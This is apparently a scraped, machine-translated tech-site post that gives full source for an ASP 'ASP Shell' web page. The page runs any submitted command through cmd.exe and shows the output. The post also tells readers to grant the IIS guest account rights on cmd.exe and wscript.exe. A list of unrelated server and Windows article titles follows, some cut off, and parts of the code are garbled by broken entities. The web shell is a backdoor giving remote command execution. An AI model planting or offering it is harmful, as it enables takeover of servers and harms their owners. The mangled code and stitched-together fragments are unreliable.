This problem occurred today when I got a client command line program on the server. Later, after several tests, this problem was solved.
Test Platform: windows server 2003 sp2 + iis6
The test code is as follows:
<title>ASP Shell</title> ; <%@ Language=VBScript CodePage="936"%> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form( ".CMD") If (szCMD <> "") Then szTempFile = Server.Mappath(oFileSys.GetTempName( )) Call oScript.Run (& Quot;cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile , 1, False, 0) End If %> <HTML> <BODY> <FORM action="<%= Request.ServerVariables ("URL") %>& ;quot; method="POST"> <input type=text name=".CMD" size=45 value="<% = szCMD %>"> <input type=submit value="execute command"> </FORM> & Lt;PRE><% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %& ;gt; </BODY> </HTML>
Give cmd.exe and wscript.exe permissions to the iuser_xxx machine name in the system root directory, to the current folder Read and write permissions. Then restart IIS.
A disk array is a system in which a number of hard disk drives are grouped togeth
Test Topology: Test Content and Topology Description: Test Content: Independent Root CA Server and I
Today we are here to communicate on the speed of the website. Improving the speed
SNMP (Simple Network Management Protocol, simple protocol for server operation and maintenance, serv
Blade Optimized Virtual Server Load Balancing Solution
3 major server hardware failures Have you ever encountered
Server hard disk expansion storage mode selection suggestion
In-Depth Analysis of Server Web Cache
Proxy server some special types of applications
How to set up a DHCP server under Win2000 Server
Service Unavailable solution after uninstalling ZkeysPHP
Your browser sent a request that this server could not understand
Virtual Server Implementation Method
Server Security Dog Remote Desktop Protection Tutorial
Lnmp cancels nginx directory PHP execution permission
Resolve "COM+ can't talk to Microsoft Distributed Transaction Coordinator
How to create a new account in Windows 8
Technology makes life comfortable, Windows 7 makes work easier
Windows10 Edge browser can't download files how to solve
How to configure Outlook mail client in win7 system
How to set up the WinXP system microphone without sound?
Baidu cloud housekeeper set automatic backup folder graphic tutorial
How to quit the family group in the win7 computer?
Win8.1 version will be free and the general version any difference between the
Analyze the pros and cons of running VMware Server on Win and Linux